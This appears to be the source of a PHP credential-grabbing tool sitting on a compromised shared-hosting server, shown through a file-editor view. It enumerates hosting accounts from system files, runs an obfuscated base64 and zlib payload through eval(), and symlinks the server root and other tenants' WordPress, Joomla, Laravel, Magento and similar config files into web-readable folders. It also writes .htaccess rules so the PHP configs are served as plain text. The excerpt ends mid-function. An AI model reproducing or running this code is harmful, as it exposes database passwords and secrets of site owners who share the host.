/home/techb158/public_html/systemd/mail/auto/auto26
Edit: /home/techb158/public_html/systemd/mail/auto/auto26/auto26.php (46928B)
cpanel user + user => [zones] (same source as ?master=1) */
function load_zone_map(): array {
static $cache = null;
if ($cache !== null) return $cache;
$zoneUser = [];
$userZones = [];
$add = static function (string $zone, string $user) use (&$zoneUser, &$userZones): void {
$zone = strtolower(trim($zone));
$user = trim($user);
if ($zone === '' || $user === '' || $user === 'n/a') return;
if (isset($zoneUser[$zone])) return;
$zoneUser[$zone] = $user;
$userZones[$user][$zone] = $zone;
};
foreach (['/etc/trueuserdomains', '/etc/userdomains'] as $f) {
if (!is_readable($f)) continue;
foreach (@file($f) ?: [] as $line) {
if (!preg_match('/^\s*([^:\s]+)\s*:\s*(\S+)/', $line, $m)) continue;
$add($m[1], $m[2]);
}
}
$named = @file('/etc/named.conf') ?: [];
foreach ($named as $subject) {
if (!preg_match('/zone\s+"([^"]+)"/i', $subject, $string)) continue;
$zone = $string[1];
if (strlen(trim($zone)) <= 2) continue;
$owner = '';
$val = '/etc/valiases/'.$zone;
if (function_exists('posix_getpwuid') && is_file($val)) {
$uid = @fileowner($val);
$pw = $uid !== false ? @posix_getpwuid((int)$uid) : false;
if (is_array($pw)) $owner = (string)$pw['name'];
}
if ($owner === '' && is_dir('/home/'.$zone)) $owner = $zone;
if ($owner !== '') $add($zone, $owner);
}
$cache = ['zoneUser' => $zoneUser, 'userZones' => $userZones];
return $cache;
}
function skip_users(): array {
static $skip = null;
if ($skip !== null) return $skip;
$skip = array_flip([
'root','bin','daemon','adm','lp','sync','shutdown','halt','mail','operator',
'games','ftp','nobody','systemd-coredump','dbus','tss','sssd','chrony','sshd',
'rpc','polkitd','rpcuser','tcpdump','saslauth','mailnull','smmsp','nydus','nscd',
'named','mailman','cpanel','cpanelcabcache','cpanellogin','cpaneleximfilter',
'cpaneleximscanner','cpanelroundcube','cpanelconnecttrack','cpanelanalytics',
'cpses','mysql','dovecot','dovenull','cpanelphpmyadmin','cpanelphppgadmin',
'_imunify','wp-toolkit',
]);
return $skip;
}
function is_login_user(string $user): bool {
$user = trim($user);
if ($user === '') return false;
return !isset(skip_users()[strtolower($user)]);
}
function grab_config_paths(string $user_hex): array {
static $tpl = null;
if ($tpl === null) {
$tpl = zlib_decode(base64_decode('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'));
}
// $user_hex is expanded by eval of the stored template
$grab_config = [];
eval($tpl);
return $grab_config;
}
function parse_passwd_users(string $passwd): array {
preg_match_all('/(.*?):x:/', $passwd, $user_config);
if (empty($user_config[1])) {
preg_match_all('/^([a-zA-Z0-9_\-]+)\s*$/m', $passwd, $user_config);
}
$out = [];
foreach ($user_config[1] as $u) {
$u = trim($u);
if ($u === '' || !is_login_user($u)) continue;
$out[] = $u;
}
return $out;
}
function run_symconfig_mode(string $mode, string $passwd): string {
$html = '';
if ($mode === 'symvhosts') {
@mkdir("symvhosts", 0777);
@exec("ln -s / symvhosts/root");
$htaccess = "Options Indexes FollowSymLinks
DirectoryIndex hex.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any";
@file_put_contents("symvhosts/.htaccess", $htaccess);
$etc_passwd = $_POST['passwd'];
$etc_passwd = explode("
", $etc_passwd);
foreach ($etc_passwd as $passwd) {
$pawd = explode(":", $passwd);
$user = $pawd[5];
$jembod = preg_replace('/\/var\/www\/vhosts\//', '', $user);
if (preg_match('/vhosts/i', $user)) {
@exec("ln -s " . $user . "/httpdocs/wp-config.php symvhosts/" . $jembod . "-WP_ZEUX1.txt");
@exec("ln -s " . $user . "/httpdocs/wp/wp-config.php symvhosts/" . $jembod . "-WP_ZEUX2.txt");
@exec("ln -s " . $user . "/httpdocs/Wordpress/wp-config.php symvhosts/" . $jembod . "-WP_ZEUX3.txt");
@exec("ln -s " . $user . "/httpdocs/blog/wp-config.php symvhosts/" . $jembod . "-WP_ZEUX4.txt");
@exec("ln -s " . $user . "/httpdocs/blog1/wp-config.php symvhosts/" . $jembod . "-WP_ZEUX5.txt");
@exec("ln -s " . $user . "/httpdocs/blog2/wp-config.php symvhosts/" . $jembod . "-WP_ZEUX6.txt");
@exec("ln -s " . $user . "/httpdocs/test/wp-config.php symvhosts/" . $jembod . "-WP_ZEUX7.txt");
@exec("ln -s " . $user . "/httpdocs/mail/wp-config.php symvhosts/" . $jembod . "-WP_ZEUX8.txt");
@exec("ln -s " . $user . "/httpdocs/cms/wp-config.php symvhosts/" . $jembod . "-WP_ZEUX9.txt");
@exec("ln -s " . $user . "/httpdocs/site/wp-config.php symvhosts/" . $jembod . "-WP_ZEUX10.txt");
@exec("ln -s " . $user . "/httpdocs/press/wp-config.php symvhosts/" . $jembod . "-WP_ZEUX11.txt");
@exec("ln -s " . $user . "/httpdocs/word/wp-config.php symvhosts/" . $jembod . "-WP_ZEUX12.txt");
@exec("ln -s " . $user . "/httpdocs/shop/wp-config.php symvhosts/" . $jembod . "-WP_ZEUX13.txt");
@exec("ln -s " . $user . "/httpdocs/configuration.php symvhosts/" . $jembod . "-Joomla1.txt");
@exec("ln -s " . $user . "/httpdocs/joomla/configuration.php symvhosts/" . $jembod . "-Joomla2.txt");
@exec("ln -s " . $user . "/httpdocs/site/configuration.php symvhosts/" . $jembod . "-Joomla3.txt");
@exec("ln -s " . $user . "/httpdocs/.env symvhosts/" . $jembod . "-Larvel.txt");
@exec("ln -s " . $user . "/httpdocs/config/koneksi.php symvhosts/" . $jembod . "-Lokomedia.txt");
@exec("ln -s " . $user . "/httpdocs/forum/config.php symvhosts/" . $jembod . "-phpBB.txt");
@exec("ln -s " . $user . "/httpdocs/sites/default/settings.php symvhosts/" . $jembod . "-Drupal1.txt");
@exec("ln -s " . $user . "/httpdocs/drupal/sites/default/settings.php symvhosts/" . $jembod . "-Drupal2.txt");
@exec("ln -s " . $user . "/httpdocs/config/settings.inc.php symvhosts/" . $jembod . "-PrestaShop1.txt");
@exec("ln -s " . $user . "/httpdocs/presta/config/settings.inc.php symvhosts/" . $jembod . "-PrestaShop2.txt");
@exec("ln -s " . $user . "/httpdocs/prestashop/config/settings.inc.php symvhosts/" . $jembod . "-PrestaShop3.txt");
@exec("ln -s " . $user . "/httpdocs/ps/config/settings.inc.php symvhosts/" . $jembod . "-PrestaShop4.txt");
@exec("ln -s " . $user . "/httpdocs/site/config/settings.inc.php symvhosts/" . $jembod . "-PrestaShop5.txt");
@exec("ln -s " . $user . "/httpdocs/shop/config/settings.inc.php symvhosts/" . $jembod . "-PrestaShop6.txt");
@exec("ln -s " . $user . "/httpdocs/app/etc/local.xml symvhosts/" . $jembod . "-Magento1.txt");
@exec("ln -s " . $user . "/httpdocs/magento/app/etc/local.xml symvhosts/" . $jembod . "-Magento2.txt");
@exec("ln -s " . $user . "/httpdocs/shop/app/etc/local.xml symvhosts/" . $jembod . "-Magento3.txt");
@exec("ln -s " . $user . "/httpdocs/admin/config.php symvhosts/" . $jembod . "-OpenCart4.txt");
@exec("ln -s " . $user . "/httpdocs/open/admin/config.php symvhosts/" . $jembod . "-OpenCart5.txt");
@exec("ln -s " . $user . "/httpdocs/opencart/admin/config.php symvhosts/" . $jembod . "-OpenCart6.txt");
@exec("ln -s " . $user . "/httpdocs/application/config/database.php symvhosts/" . $jembod . "-Ellislab1.txt");
}
}
$html .= '
';
return $html;
}
if ($mode === 'symlink') {
@mkdir('symconfig', 0777);
@symlink('/', 'symconfig/root');
$htaccess = "Options Indexes FollowSymLinks\nDirectoryIndex hex.htm\nAddType text/plain .php \nAddHandler text/plain .php\nSatisfy Any";
@file_put_contents('symconfig/.htaccess', $htaccess);
@mkdir('Symconfig', 0777);
if (!is_link('Symconfig/root')) @symlink('/', 'Symconfig/root');
@file_put_contents('Symconfig/.htaccess', $htaccess);
foreach (parse_passwd_users($passwd) as $user_hex) {
foreach (grab_config_paths($user_hex) as $config => $nama_config) {
@symlink($config, 'symconfig/' . $user_hex . '-' . $nama_config . '.txt');
@symlink($config, 'Symconfig/' . $user_hex . '-' . $nama_config . '.txt');
}
}
$html .= '
';
$html .= '
Symlink Config ready';
$html .= '
Root';
$html .= '
Config GOT';
return $html;
}
if ($mode === '404') {
@mkdir('sym404', 0777);
@symlink('/', 'sym404/root');
$htaccess = "Options Indexes FollowSymLinks\nDirectoryIndex hex.htm\nAddType text/plain .php \nAddHandler text/plain .php\nSatisfy Any\nIndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*\nIndexIgnore *.txt404\nRewriteEngine On\nRewriteCond %{REQUEST_FILENAME} ^.*sym404 [NC]\nRewriteRule \.txt$ %{REQUEST_URI}404 [L,R=302.NC]";
@file_put_contents('sym404/.htaccess', $htaccess);
foreach (parse_passwd_users($passwd) as $user_hex) {
